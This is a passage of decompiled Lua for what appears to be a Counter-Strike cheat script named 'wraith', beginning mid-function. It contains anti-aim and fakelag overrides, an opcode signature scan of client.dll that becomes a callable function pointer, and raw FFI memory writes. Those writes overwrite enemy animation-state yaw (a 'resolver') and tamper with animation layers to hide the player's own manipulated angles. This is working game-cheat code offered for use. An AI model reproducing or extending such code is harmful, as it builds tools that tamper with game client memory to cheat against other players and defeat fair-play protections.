        -- upvalues: v122 (ref), v78 (ref), l_ffi_0 (ref), v40 (ref), v63 (ref)
        if v122.anti_aim.stances[v336.current_state].yaw.value == "Disabled" or v78.outside then
            return;
        else
            local v338 = l_ffi_0.new("POINT[1]");
            if v40(v338) == 0 then
                return false, "Failed to get cursor position.";
            else
                v336.last_mover_man = true;
                cvar.cl_mouseenable:int(1);
                if v122.anti_aim.aa_override.value and v78.ui_alpha <= 0 and v337:is_alive() then
                    v336.last_mover_man = false;
                    cvar.cl_mouseenable:int(0);
                    if v336.is_mouse_outside_circle(v338[0].x, v338[0].y, v78.screen_size.x, v78.screen_size.y, v122.anti_aim.aa_override.deadzone.value) then
                        v336.was_last_outside = true;
                        v336.override_angle = true;
                        v336.angle_pos = -v336.getMouseAngle(v338[0].x, v338[0].y, v78.screen_size.x, v78.screen_size.y) + 90;
                    else
                        v336.was_last_outside = false;
                    end;
                    v336:restrict_mouse_to_circle(v78.screen_size.x, v78.screen_size.y, v122.anti_aim.aa_override.zone_size.value);
                end;
                if v336.override_angle == true then
                    v63.yaw_ref:override("Backward");
                    v63.yaw_base_ref:override("Local View");
                    v63.yaw_offset_ref:override(v336.angle_pos);
                    if v122.anti_aim.aa_override.force_static.value then
                        v63.yaw_modifier_ref:set("Disabled");
                        v63.left_limit:override(0);
                        v63.right_limit:override(0);
                    end;
                end;
                if v336.was_last_outside == false then
                    v336.override_angle = false;
                end;
                v336.is_on = true;
                if v336.last_mover_man == false then
                    v336.is_on = false;
                    v336.save_mouse_pos = {
                        [1] = v338[0].x, 
                        [2] = v338[0].y
                    };
                end;
                return;
            end;
        end;
    end
};
local function v340()
    -- upvalues: v122 (ref)
    return ({
        [1] = "Global", 
        [2] = "Standing", 
        [3] = "Moving", 
        [4] = "Slow motion", 
        [5] = "In air", 
        [6] = "In air duck", 
        [7] = "In duck", 
        [8] = "In duck moving", 
        [9] = "In fake duck", 
        [10] = "Fakelag", 
        [11] = "Manual", 
        [12] = "Freestanding", 
        [13] = "Backstab", 
        [14] = "Height", 
        [15] = "High distance", 
        [16] = "Legit", 
        [17] = "Warmup", 
        [18] = "Round-end"
    })[v122.anti_aim.stances_list.value];
end;
v122.visuals.indicators_level_4.item_1:set("Safe point");
v122.visuals.indicators_level_4.item_2:set("Body aim");
v122.visuals.indicators_level_4.item_3:set("Freestanding");
local function v349()
    -- upvalues: v122 (ref)
    local v341 = v122.visuals.indicators_level_4.item_1:list();
    local v342 = {
        [1] = v122.visuals.indicators_level_4.item_1.value, 
        [2] = v122.visuals.indicators_level_4.item_2.value, 
        [3] = v122.visuals.indicators_level_4.item_3.value
    };
    local v343 = {};
    for v344 = 1, #v342 do
        local v345 = v342[v344];
        if not v343[v345] then
            v343[v345] = true;
        else
            for _, v347 in ipairs(v341) do
                if not v343[v347] then
                    v342[v344] = v347;
                    v343[v347] = true;
                    break;
                end;
            end;
        end;
    end;
    for v348 = 1, #v342 do
        v122.visuals.indicators_level_4["item_" .. v348]:set(v342[v348]);
    end;
end;
v122.menu_elements = function()
    -- upvalues: v78 (ref), v349 (ref), v67 (ref), v122 (ref), v340 (ref)
    if v78.ui_alpha <= 0 then
        return;
    else
        v349();
        for _, v351 in ipairs(v67.stances) do
            v122.anti_aim.stances[v351].active:visibility(v340() == v351);
            v122.anti_aim.stances[v351].pitch:visibility(v340() == v351);
            v122.anti_aim.stances[v351].yaw:visibility(v340() == v351);
            v122.anti_aim.stances[v351].yaw_modifier:visibility(v340() == v351);
            v122.anti_aim.stances[v351].body_yaw:visibility(v340() == v351);
            v122.anti_aim.stances[v351].yaw_modifier.delay:visibility(v122.anti_aim.stances[v351].yaw_modifier.value == "Slow jitter");
            v122.anti_aim.stances[v351].defensive_aa_enabled:visibility(v340() == v351);
            v122.anti_aim.stances[v351].force_defensive:visibility(v340() == v351);
            v122.anti_aim.stances[v351].yaw_hidden:visibility(v340() == v351);
            v122.anti_aim.stances[v351].pitch_defensive:visibility(v340() == v351);
            v122.anti_aim.stances[v351].yaw_modifier_defensive:visibility(v340() == v351);
            v122.anti_aim.stances[v351].body_yaw_defensive:visibility(v340() == v351);
            v122.anti_aim.stances[v351].defensive_aa_enabled.custom_last_tick_angles:visibility(v340() == v351);
            local v352 = v122.anti_aim.stances[v351].defensive_aa_enabled.value and v122.anti_aim.stances[v351].defensive_aa_enabled.custom_last_tick_angles.value and v340() == v351;
            v122.anti_aim.stances[v351].pitch_defensive_lst:visibility(v352);
            v122.anti_aim.stances[v351].yaw_modifier_defensive_lst:visibility(v352);
            v122.anti_aim.stances[v351].body_yaw_defensive_lst:visibility(v352);
            v122.anti_aim.stances[v351].defensive_aa_enabled.custom_unsafe_angles:visibility(v340() == v351 and v122.anti_aim.stances[v351].force_defensive.value);
            local v353 = v122.anti_aim.stances[v351].defensive_aa_enabled.value and v122.anti_aim.stances[v351].force_defensive.value and v122.anti_aim.stances[v351].defensive_aa_enabled.custom_unsafe_angles.value and v340() == v351;
            v122.anti_aim.stances[v351].yaw_defensive_unsafe:visibility(v353);
            v122.anti_aim.stances[v351].yaw_modifier_defensive_unsafe:visibility(v353);
            v122.anti_aim.stances[v351].yaw_modifier_defensive_unsafe.delay:visibility(v122.anti_aim.stances[v351].yaw_modifier_defensive_unsafe.value == "Slow jitter");
            v122.anti_aim.stances[v351].body_yaw_defensive_unsafe:visibility(v353);
        end;
        return;
    end;
end;
v66.anti_aim.builder:depend({
    [1] = nil, 
    [2] = 1, 
    [1] = v122.anti_aim.tab
});
v66.anti_aim.anti_aim_stances:depend({
    [1] = nil, 
    [2] = 1, 
    [3] = 2, 
    [1] = v122.anti_aim.tab
});
v66.anti_aim.defensive:depend({
    [1] = nil, 
    [2] = 2, 
    [1] = v122.anti_aim.tab
});
v66.anti_aim.defensiveunsafe:depend({
    [1] = nil, 
    [2] = 2, 
    [1] = v122.anti_aim.tab
});
v66.anti_aim.defensiveltick:depend({
    [1] = nil, 
    [2] = 2, 
    [1] = v122.anti_aim.tab
});
v66.anti_aim.extras:depend({
    [1] = nil, 
    [2] = 3, 
    [1] = v122.anti_aim.tab
});
v66.visuals.builder:depend({
    [1] = nil, 
    [2] = 1, 
    [1] = v122.visuals.tab
});
v66.visuals.indicators:depend({
    [1] = nil, 
    [2] = 2, 
    [1] = v122.visuals.tab
});
v66.visuals.other:depend({
    [1] = nil, 
    [2] = 3, 
    [1] = v122.visuals.tab
});
v66.misc.main:depend({
    [1] = nil, 
    [2] = 1, 
    [1] = v122.misc.tab
});
v66.misc.general:depend({
    [1] = nil, 
    [2] = 2, 
    [1] = v122.misc.tab
});
v66.misc.lag_comp:depend({
    [1] = nil, 
    [2] = 2, 
    [1] = v122.misc.tab
});
v66.misc.movement:depend({
    [1] = nil, 
    [2] = 2, 
    [1] = v122.misc.tab
});
v66.misc.tournament1:depend({
    [1] = nil, 
    [2] = 3, 
    [1] = v122.misc.tab
});
v66.misc.tournament2:depend({
    [1] = nil, 
    [2] = 3, 
    [1] = v122.misc.tab
});
v66.misc.tournament3:depend({
    [1] = nil, 
    [2] = 3, 
    [1] = v122.misc.tab
});
v66.misc.config:depend({
    [1] = nil, 
    [2] = 4, 
    [1] = v122.misc.tab
});
v66.misc.socials:depend({
    [1] = nil, 
    [2] = 1, 
    [1] = v122.misc.tab
});
v66.misc.logo:depend({
    [1] = nil, 
    [2] = 1, 
    [1] = v122.misc.tab
});
v122.visuals.indicators_level_1.pulse:depend(v122.visuals.indicators_level_1.build);
v122.visuals.indicator_builder.grenade_dim_amount:depend(v122.visuals.indicator_builder.grenade_dim);
v122.visuals.indicator_builder.scope_anim_speed:depend({
    [1] = nil, 
    [2] = "On scope", 
    [1] = v122.visuals.indicator_builder.align_right
});
v122.visuals.indicators_level_2.safe:depend({
    [1] = nil, 
    [2] = "Half-life", 
    [1] = v122.visuals.indicators_level_2.style
});
v122.visuals.indicators_level_2.defensive:depend({
    [1] = nil, 
    [2] = "Half-life", 
    [1] = v122.visuals.indicators_level_2.style
});
v122.misc.update_button:depend(v122.misc.display_leaderboard);
v122.misc.leaderboard:depend(v122.misc.display_leaderboard);
v122.visuals.hitmarker_option.hitmarker_duration_2d:depend(v122.visuals.hitmarker_option.hitmarker_2d);
v122.visuals.hitmarker_option.hitmarker_duration_3d:depend(v122.visuals.hitmarker_option.hitmarker_3d);
v122.misc.dormente_simbot.min_dmg:depend({
    [1] = nil, 
    [2] = false, 
    [1] = v122.misc.dormente_simbot.inherit_damage
});
local v354 = l_pui_0.setup(v122, true);
local v355 = {};
v355.__index = v355;
v355.new = function(v356, v357, v358, v359, v360, v361, v362)
    -- upvalues: v355 (ref)
    return setmetatable({
        m_text = v356, 
        simplified_text = v357, 
        m_color = v358, 
        m_time = v359, 
        top_left = v360, 
        centered = v361, 
        color2 = v362
    }, v355);
end;
local v363 = {};
v363.__index = v363;
v363.new = function()
    -- upvalues: v363 (ref)
    return setmetatable({
        m_notify_text = {}
    }, v363);
end;
v363.add = function(v364, v365, v366, v367, v368, v369, v370, v371, v372)
    -- upvalues: v355 (ref)
    if not v366 then
        v366 = "";
    end;
    local v373 = v367 or color(255, 255, 255, 255);
    local v374 = color(217, 217, 217, 255);
    local v375 = v368 or 8;
    if not v371 then
        v371 = false;
    end;
    if not v369 then
        v369 = false;
    end;
    if not v370 then
        v370 = false;
    end;
    if v370 then
        print_raw("[\aDFE1A2ffwraith\aC0C0C0ff] " .. string.format("\a%02X%02X%02X%02X", v374.r, v374.g, v374.b, v374.a) .. v365);
    end;
    if v369 or v371 then
        table.insert(v364.m_notify_text, v355.new(v365, v366, v373, v375, v369, v371, v372));
    end;
end;
local v376 = "\020\020\020\255";
local v377 = "\f\f\f\255";
local v378 = table.concat({
    [1] = v376, 
    [2] = v376, 
    [3] = v377, 
    [4] = v376, 
    [5] = v377, 
    [6] = v376, 
    [7] = v377, 
    [8] = v376, 
    [9] = v377, 
    [10] = v376, 
    [11] = v376, 
    [12] = v376, 
    [13] = v377, 
    [14] = v376, 
    [15] = v377, 
    [16] = v376
});
local v379 = nil;
v363.think = function(v380)
    -- upvalues: v122 (ref), v78 (ref), v155 (ref), v379 (ref), v56 (ref)
    local v381 = 8;
    local v382 = 5;
    local v383 = 0;
    for v384 = #v380.m_notify_text, 1, -1 do
        local v385 = v380.m_notify_text[v384];
        v385.m_time = v385.m_time - globals.frametime;
        if v385.m_time <= 0 then
            table.remove(v380.m_notify_text, v384);
        end;
    end;
    if #v380.m_notify_text == 0 then
        return;
    else
        for _, v387 in ipairs(v380.m_notify_text) do
            local l_m_time_0 = v387.m_time;
            local l_m_color_0 = v387.m_color;
            local v390 = render.measure_text(1, nil, v387.m_text);
            if l_m_time_0 < 0.5 then
                local v391 = l_m_time_0 / 0.5;
                l_m_color_0.a = math.floor(v391 * 255);
            else
                l_m_color_0.a = 255;
            end;
            if v387.centered and v122.visuals.vis_logs.value and v122.visuals.vis_logs.log_where:get("Center") then
                local v392 = render.measure_text(1, nil, v387.simplified_text);
                local v393 = math.floor((v78.screen_size.x - v392.x) * 0.5);
                local v394 = math.floor(v78.screen_center.y - v392.y * 0.5 + v383 + v78.screen_size.y / 4.5);
                if not v387.pos_animation then
                    v387.pos_animation = v78.screen_size.y + 2000;
                end;
                v387.pos_animation = v155(v387.pos_animation, v394, globals.frametime * 10);
                if v122.visuals.vis_logs.log_style.value == "Simple" then
                    render.shadow(vector(v393 - 7, math.ceil(v387.pos_animation) - 8), vector(v393 + v392.x + 6, math.ceil(v387.pos_animation) + v392.y + 2), color(v387.color2.r, v387.color2.g, v387.color2.b, l_m_color_0.a), 5, nil, 1);
                    render.rect(vector(v393 - 7, math.ceil(v387.pos_animation) - 8), vector(v393 + v392.x + 6, math.ceil(v387.pos_animation) + v392.y + 2), color(33, 33, 33, l_m_color_0.a / 255 * 135), 1);
                    render.text(1, vector(v393 + v392.x * 0.5, math.ceil(v387.pos_animation) + 2), l_m_color_0, "c", v387.simplified_text);
                    v383 = v383 + v392.y + 25;
                else
                    local v395 = render.measure_text(1, "c", v387.simplified_text);
                    local v396 = v395.x * 0.5;
                    render.rect(vector(v78.screen_center.x - v396 - 11, math.ceil(v387.pos_animation) - 15), vector(v78.screen_center.x - v396 + v395.x + 10, math.ceil(v387.pos_animation) - 6 + 23), color(12, 12, 12, 220));
                    render.rect(vector(v78.screen_center.x - v396 - 10, math.ceil(v387.pos_animation) - 14), vector(v78.screen_center.x - v396 + v395.x + 9, math.ceil(v387.pos_animation) - 6 + 22), color(60, 60, 60, 220));
                    render.rect(vector(v78.screen_center.x - v396 - 9, math.ceil(v387.pos_animation) - 13), vector(v78.screen_center.x - v396 + v395.x - 2 + 10, math.ceil(v387.pos_animation) - 6 + 21), color(40, 40, 40, 220));
                    render.rect(vector(v78.screen_center.x - v396 - 6, math.ceil(v387.pos_animation) - 10), vector(v78.screen_center.x - v396 + v395.x + 5, math.ceil(v387.pos_animation) - 6 + 18), color(60, 60, 60, 220));
                    v45_safe_texture_0(v379, vector(v78.screen_center.x - v396 - 5, math.ceil(v387.pos_animation) - 9), vector(v395.x + 9, 20), color(255, 255, 255, 220), "r");
                    render.gradient(vector(v78.screen_center.x - v396 - 4, math.ceil(v387.pos_animation) - 6), vector(v78.screen_center.x - v396 + v396 + 3, math.ceil(v387.pos_animation) - 8), color(59, 175, 222, 220), color(202, 70, 205, 220), color(59, 175, 222, 220), color(202, 70, 205, 220));
                    render.gradient(vector(v78.screen_center.x - v396 + v396 + 3, math.ceil(v387.pos_animation) - 6), vector(v78.screen_center.x - v396 + v395.x + 3, math.ceil(v387.pos_animation) - 8), color(202, 70, 205, 220), color(204, 227, 53, 220), color(202, 70, 205, 220), color(204, 227, 53, 220));
                    render.text(1, vector(v78.screen_center.x - v396, v387.pos_animation - 3), color(255, 255, 255, 255), nil, v387.simplified_text);
                    v383 = v383 + v392.y + 25;
                end;
            end;
            if v387.top_left then
                render.text(v56, vector(v381, v382), l_m_color_0, "", v387.m_text);
                v382 = v382 + v390.y + 2;
            end;
        end;
        while #v380.m_notify_text > 6 do
            table.remove(v380.m_notify_text, 1);
        end;
        return;
    end;
end;
v78.g_notify = v363.new();
local function v411(v397, v398, v399, v400, v401, v402, v403)
    local v404 = math.pi * 2 / v399;
    local v405 = {};
    for v406 = 0, v399 - 1 do
        local v407 = v406 * v404;
        local v408 = v397.x + v398 * math.cos(v407);
        local v409 = v397.y + v398 * math.sin(v407);
        table.insert(v405, {
            x = v408, 
            y = v409
        });
    end;
    for v410 = 1, v399 do
        render.shadow(vector(v405[v410].x, v405[v410].y), vector(v405[v410].x, v405[v410].y), v400, v401, v402, v403);
    end;
    render.shadow(v405[v399], v405[1], v400, v401, v402, v403);
end;
local function v417(v412, v413, v414)
    if not v414 then
        v414 = 1;
    end;
    if v412 == "Upper" or v414 == 2 then
        return v413:upper();
    elseif v412 == "Lower" then
        return v413:lower();
    elseif v412 == "Capitalize" then
        local v415 = "";
        for v416 in v413:gmatch("%S+") do
            v415 = v415 .. v416:sub(1, 1):upper() .. v416:sub(2):lower() .. " ";
        end;
        return v415.sub(v415, 1, -2);
    elseif v412 == "Capitalize first char" then
        return v413:sub(1, 1):upper() .. v413:sub(2);
    else
        return v413;
    end;
end;
local function v423(v418, v419, v420, v421)
    local v422 = ui.get_mouse_position();
    return v418 <= v422.x and v422.x <= v418 + v420 and v419 <= v422.y and v422.y <= v419 + v421;
end;
local function v427(v424, v425, v426)
    return v424 <= v426 and v426 <= v424 + v425;
end;
local v428 = {
    indicator = 0
};
local v429 = v45_safe_font_0("Calibri Bold", vector(24.3, 23.5, 0), "da", "Verdana Bold", 1);
local function v433(v430, v431, v432)
    return {
        math.floor(v430[1] + (v431[1] - v430[1]) * v432), 
        math.floor(v430[2] + (v431[2] - v430[2]) * v432), 
        math.floor(v430[3] + (v431[3] - v430[3]) * v432)
    };
end;
local function v457(v434, v435, v436)
    local v437 = nil;
    local v438 = nil;
    local v439 = nil;
    local v440 = math.floor(v434 * 6);
    local v441 = v434 * 6 - v440;
    local v442 = v436 * (1 - v435);
    local v443 = v436 * (1 - v441 * v435);
    local v444 = v436 * (1 - (1 - v441) * v435);
    v440 = v440 % 6;
    if v440 == 0 then
        local l_v436_0 = v436;
        local l_v444_0 = v444;
        v439 = v442;
        v438 = l_v444_0;
        v437 = l_v436_0;
    elseif v440 == 1 then
        local l_v443_0 = v443;
        local l_v436_1 = v436;
        v439 = v442;
        v438 = l_v436_1;
        v437 = l_v443_0;
    elseif v440 == 2 then
        local l_v442_0 = v442;
        local l_v436_2 = v436;
        v439 = v444;
        v438 = l_v436_2;
        v437 = l_v442_0;
    elseif v440 == 3 then
        local l_v442_1 = v442;
        local l_v443_1 = v443;
        v439 = v436;
        v438 = l_v443_1;
        v437 = l_v442_1;
    elseif v440 == 4 then
        local l_v444_1 = v444;
        local l_v442_2 = v442;
        v439 = v436;
        v438 = l_v442_2;
        v437 = l_v444_1;
    elseif v440 == 5 then
        local l_v436_3 = v436;
        local l_v442_3 = v442;
        v439 = v443;
        v438 = l_v442_3;
        v437 = l_v436_3;
    end;
    return math.floor(v437 * 255), math.floor(v438 * 255), math.floor(v439 * 255);
end;
local function v464(v458)
    local v459 = entity.get_player_resource();
    local l_m_bombsiteCenterA_0 = v459.m_bombsiteCenterA;
    local l_m_bombsiteCenterB_0 = v459.m_bombsiteCenterB;
    local v462 = entity.get(v458, false);
    local v463 = (v462.m_vecMins + v462.m_vecMaxs) / 2;
    return l_m_bombsiteCenterA_0:dist(v463) < l_m_bombsiteCenterB_0:dist(v463) and "A" or "B";
end;
local function v467(v465)
    local v466 = v465.m_flC4Blow - globals.curtime;
    return v466 ~= nil and v466 > 0 and v466 or 0;
end;
local function v478(v468, v469)
    if not v469 or v469 == nil then
        return;
    else
        local _ = v468.m_iHealth;
        local v471 = v468:get_origin():dist((v469:get_origin()));
        local l_m_ArmorValue_0 = v468.m_ArmorValue;
        local v473 = 450.7;
        local v474 = (v471 - 75.68) / 789.2;
        local v475 = v473 * math.exp(-v474 * v474);
        local l_v475_0 = v475;
        if l_m_ArmorValue_0 > 0 then
            local v477 = v475 * 0.5;
            if l_m_ArmorValue_0 < (v475 - v477) * 0.5 then
                v477 = v475 - l_m_ArmorValue_0 * 2;
            end;
            l_v475_0 = v477;
        end;
        return l_v475_0;
    end;
end;
local function v482(v479, v480)
    -- upvalues: v478 (ref)
    local v481 = v478(v479, v480);
    if not v481 then
        return;
    elseif v479.m_iHealth <= v481 then
        return {
            text = "FATAL", 
            color = {
                [1] = 255, 
                [2] = 0, 
                [3] = 0
            }
        };
    else
        return {
            text = "-" .. math.floor(v481) .. " HP", 
            color = {
                [1] = 255, 
                [2] = 245, 
                [3] = 104
            }
        };
    end;
end;
local function v484(v483)
    -- upvalues: v78 (ref), v63 (ref)
    if v483 then
        if not v78.fakelag_modified then
            v63.fakelag_limit_ref:override(1);
            v78.fakelag_modified = true;
        end;
    elseif v78.fakelag_modified then
        v63.fakelag_limit_ref:override();
        v78.fakelag_modified = false;
    end;
end;
local v485 = utils.opcode_scan("client.dll", "55 8B EC 83 E4 F8 83 EC 64 53 56 57 8B F1");
local v486 = l_ffi_0.typeof("struct {float x,y,z;}");
local v487 = l_ffi_0.cast(l_ffi_0.typeof("void(__thiscall*)(void*, const $&)", v486), v485);
local v696 = {
    roundStarted = 0, 
    cum = 0, 
    teleport_recharged = false, 
    teleported_this_toggle = false, 
    logs = {}, 
    get_max_desync = function(_, v489)
        -- upvalues: l_ffi_0 (ref), v157 (ref)
        local v490 = l_ffi_0.cast("float*", l_ffi_0.cast("char*", v489) + 164)[0];
        local v491 = l_ffi_0.cast("float*", l_ffi_0.cast("char*", v489) + 248)[0];
        local v492 = l_ffi_0.cast("float*", l_ffi_0.cast("char*", v489) + 252)[0];
        local v493 = l_ffi_0.cast("float*", l_ffi_0.cast("char*", v489) + 244)[0];
        local v494 = math.max(0, math.min(v491, 1));
        local v495 = math.max(0, math.min(1, v492));
        local v496 = (v493 * -0.30000001 - 0.19999999) * v494 + 1;
        local v497 = 0;
        if v490 > 0 then
            v496 = v496 + v490 * v495 * (0.5 - v496);
        end;
        v497 = l_ffi_0.cast("float*", l_ffi_0.cast("char*", v489) + 820)[0] * v496;
        return v157(math.abs(v497));
    end, 
    within_range = function(_, v499, v500, v501)
        -- upvalues: v161 (ref)
        local v502 = v161(v499);
        local v503 = v161(v500);
        local v504 = math.abs(v502 - v503);
        return math.min(v504, 360 - v504) <= v501;
    end, 
    is_close_to_180 = function(v505, v506, v507)
        return v505:within_range(v506, 180, v507);
    end, 
    is_valid_90 = function(v508, v509, v510)
        if math.abs(v509) < 90 then
            return false;
        else
            return not v508:is_close_to_180(v509, v510);
        end;
    end, 
    yaw_diff = function(_, v512, v513)
        -- upvalues: v161 (ref)
        return math.abs(v161(v513 - v512));
    end, 
    get_rotation_direction = function(_, v515, v516)
        -- upvalues: v161 (ref)
        v515 = v161(v515);
        local v517 = (v161(v516) - v515) % 360;
        if v517 > 180 then
            v517 = v517 - 360;
        end;
        return v517 < 0;
    end, 
    correct_enemies = function(v518, v519)
        -- upvalues: v122 (ref), v78 (ref), l_ffi_0 (ref)
        local v520 = entity.get_local_player();
        if not v520 or not v520:is_alive() then
            return;
        else
            local l_jitter_correction_0 = v122.misc.jitter_correction;
            if l_jitter_correction_0.value and l_jitter_correction_0 ~= 0 and v519 and v519:is_alive() and v519:is_enemy() and not v519:is_dormant() then
                local v522 = v519:get_index();
                local v523 = v519[0];
                local v524 = v78.net_player_data.current[v522];
                if v524 and v523 then
                    if not l_ffi_0.cast("void**", l_ffi_0.cast("char*", v523) + 39264)[0] then
                        return;
                    elseif v524.is_defensive then

                    end;
                end;
                if v524 and v523 then
                    local v525 = v78.net_player_data.yaw_history[v522] or {};
                    local v526 = #v525 > 1 and v525[#v525 - 1].yaw or nil;
                    local v527 = #v525 > 2 and v525[#v525 - 2].yaw or nil;
                    local v528 = #v525 > 3 and v525[#v525 - 3].yaw or nil;
                    local v529 = #v525 > 4 and v525[#v525 - 4].yaw or nil;
                    local l_enemy_yaw_0 = v524.enemy_yaw;
                    local l_v526_0 = v526;
                    local l_v527_0 = v527;
                    local l_v528_0 = v528;
                    local l_v529_0 = v529;
                    if l_enemy_yaw_0 and l_v526_0 and l_v527_0 and l_v528_0 and l_v529_0 then
                        local v535 = l_ffi_0.cast("void**", l_ffi_0.cast("char*", v523) + 39264)[0];
                        if not v535 then
                            return;
                        else
                            local v536 = v518:get_max_desync(v535);
                            local v537 = l_ffi_0.cast("float*", l_ffi_0.cast("char*", v535) + 120)[0];
                            local v538 = 10;
                            local v539 = 30;
                            local v540 = 120;
                            local v541 = v518:get_rotation_direction(l_enemy_yaw_0, l_v526_0);
                            local v542 = v518:yaw_diff(l_enemy_yaw_0, l_v526_0);
                            local v543 = v518:yaw_diff(l_v526_0, l_v527_0);
                            local v544 = v518:yaw_diff(l_v527_0, l_v528_0);
                            local v545 = v518:yaw_diff(l_v528_0, l_v529_0);
                            local v546 = {};
                            for _, v548 in pairs({
                                [1] = l_enemy_yaw_0, 
                                [2] = l_v526_0, 
                                [3] = l_v527_0, 
                                [4] = l_v528_0, 
                                [5] = l_v529_0
                            }) do
                                local v549 = true;
                                for _, v551 in pairs(v546) do
                                    if v518:within_range(v548, v551, v538) then
                                        v549 = false;
                                        break;
                                    end;
                                end;
                                if v549 then
                                    table.insert(v546, v548);
                                end;
                            end;
                            local v552 = #v546 <= 2 and v518:yaw_diff(l_enemy_yaw_0, l_v527_0) <= v538 and v518:yaw_diff(l_v526_0, l_v528_0) <= v538 and v518:yaw_diff(l_v527_0, l_v529_0) <= v538 and v539 < v542 and v542 < v540 and v539 < v543 and v543 < v540 and v539 < v544 and v544 < v540 and v539 < v545 and v545 < v540;
                            local v553 = v539 < v542 and v539 < v543 and v539 < v544 and v542 <= v540;
                            if l_jitter_correction_0.options:get("Center") and v552 and v553 then
                                local v554 = v537 + (not v541 and v536 or -v536);
                                l_ffi_0.cast("float*", l_ffi_0.cast("char*", v535) + 128)[0] = v554;
                                v524.did_set_angle = true;
                                v524.resolver_flag = "CC";
                                return;
                            elseif v524.resolver_flag == "CC" then
                                v524.resolver_flag = nil;
                                v524.did_set_angle = false;
                            end;
                        end;
                    else
                        v524.resolver_flag = nil;
                        v524.did_set_angle = false;
                    end;
                end;
            end;
            return;
        end;
    end, 
    render_animations = function(_)
        -- upvalues: v122 (ref), v15 (ref), l_ffi_0 (ref), v78 (ref), v486 (ref), v487 (ref), v63 (ref)
        local v556 = entity.get_local_player();
        if not v122.misc.anims.value then
            return;
        elseif not v556 or not v556:is_alive() then
            return;
        else
            local v557 = v556:get_anim_state();
            if not v557 then
                return;
            else
                v15 = v556[0];
                if not v15 then
                    return;
                elseif not l_ffi_0.cast("void**", l_ffi_0.cast("char*", v15) + 39264)[0] then
                    return;
                else
                    local l_anim_list_0 = v122.misc.anims.anim_list;
                    local l_value_2 = v122.misc.anims.leg_anims.value;
                    local l_fire_anims_0 = v122.misc.anims.fire_anims;
                    local l_value_3 = v122.misc.anims.troll_anims.value;
                    local l_hide_defensive_0 = v122.misc.anims.hide_defensive;
                    if l_hide_defensive_0:get("Suppress yaw updates") and v78.defensive and v78.stored_angles_defensive ~= nil and v78.stored_angles_defensive.y ~= nil and not v78.rage_fire then
                        local l_y_1 = v78.stored_angles_defensive.y;
                        local _ = v78.stored_angles_defensive.y2;
                        local v565 = l_ffi_0.new(v486, 0, l_y_1, 0);
                        v487(v15, v565);
                        v556.m_flPoseParameter[11] = 0.5;
                    end;
                    if l_hide_defensive_0:get("Hide pitch updates") and v78.defensive and v78.stored_angles_defensive ~= nil and v78.stored_angles_defensive.z ~= nil and not v78.rage_fire then
                        v556.m_flPoseParameter[12] = v78.stored_angles_defensive.z;
                    end;
                    if l_anim_list_0:get("Land pitch") then
                        if not common.is_button_down(32) then
                            local v566 = v556:get_anim_overlay(5);
                            if (v566.activity == 988 or v566.activity == 989) and v566.weight > 0 and v78.on_ground and v557.landing then
                                v556.m_flPoseParameter[12] = v566.activity == 988 and 0.5 or 0.45;
                                if v566.activity == 989 then
                                    v78.disable_defensive = true;
                                end;
                            end;
                        end;
                        if not v78.on_ground or not v557.landing then
                            v78.disable_defensive = false;
                        end;
                    end;
                    if l_anim_list_0:get("Air walk") and v556.m_vecVelocity:length() > 1.5 then
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][6].m_flWeight = 1;
                    end;
                    if l_anim_list_0:get("Fake walk") and v63.slow_walk_ref:get() then
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][12].m_flWeight = 0;
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][6].m_flWeight = 0;
                    end;
                    if l_anim_list_0:get("Moon walk") then
                        v556.m_flPoseParameter[7] = 0;
                    end;
                    if l_anim_list_0:get("Slide") then
                        v556.m_flPoseParameter[0] = 1;
                    end;
                    if l_anim_list_0:get("Slide spam") and v78.choked_commands ~= 0 then
                        v556.m_flPoseParameter[0] = utils.random_float(0, 0.5);
                    end;
                    if l_anim_list_0:get("Smoothing") then
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][12].m_flWeight = 0;
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][12].m_flCycle = 0;
                    end;
                    v78.ground_count = v78.ground_count or 0;
                    if l_value_2 == "Legacy (accurate)" then
                        v78.air_time = v78.air_time or 0;
                        if v78.jumping and v78.on_ground and not v78.wait_for_update then
                            v78.wait_for_update = true;
                            v78.ground_count = v78.ground_count + 1;
                        end;
                        if not v78.wait_for_update and (v78.jumping or not v78.on_ground) and (not v78.on_ground or v78.choked_commands ~= 0) then
                            v556.m_flPoseParameter[6] = math.map(math.clamp(v78.air_time, 0.75, 1.5), 0.7, 1.5, 0, 1);
                        else
                            if (v78.jumping and v78.on_ground or v78.on_ground) and v78.choked_commands == 0 then
                                v78.air_time = 0;
                                v78.ground_count = 0;
                            end;
                            v556.m_flPoseParameter[6] = 0;
                            if v78.wait_for_update and v78.choked_commands ~= 0 and v78.ground_count >= 2 then
                                l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][4].m_flWeight = 0;
                                l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][4].m_flCycle = 0;
                            elseif v78.wait_for_update and v78.choked_commands == 0 then
                                v78.wait_for_update = false;
                            end;
                        end;
                    elseif l_value_2 == "Legacy (forced)" then
                        if v78.jumping or not v78.on_ground then
                            v556.m_flPoseParameter[6] = 1;
                            l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][4].m_flWeight = 1;
                            l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][4].m_flCycle = 1;
                        end;
                    elseif l_value_2 == "Spam" then
                        v556.m_flPoseParameter[6] = math.random(0, 1);
                        l_ffi_0.cast("animstate_layer_t**", l_ffi_0.cast("uintptr_t", v15) + 10640)[0][4].m_flCycle = math.random(0, 1);
                    end;
                    if l_fire_anims_0:get("Hide yaw updates") and (v78.rage_fire or v78.fire_registered) then
                        v556.m_flPoseParameter[11] = 0.5;
                        local v567 = l_ffi_0.new(v486, 0, v78.stored_yaw_fire_info.y, 0);
                        v487(v15, v567);
                    end;
                    if l_fire_anims_0:get("Hide pitch updates") and (v78.rage_fire or v78.fire_registered) then
                        v556.m_flPoseParameter[12] = v78.stored_angles_defensive.z;
                    end;
                    if l_value_3 == "Wave" then
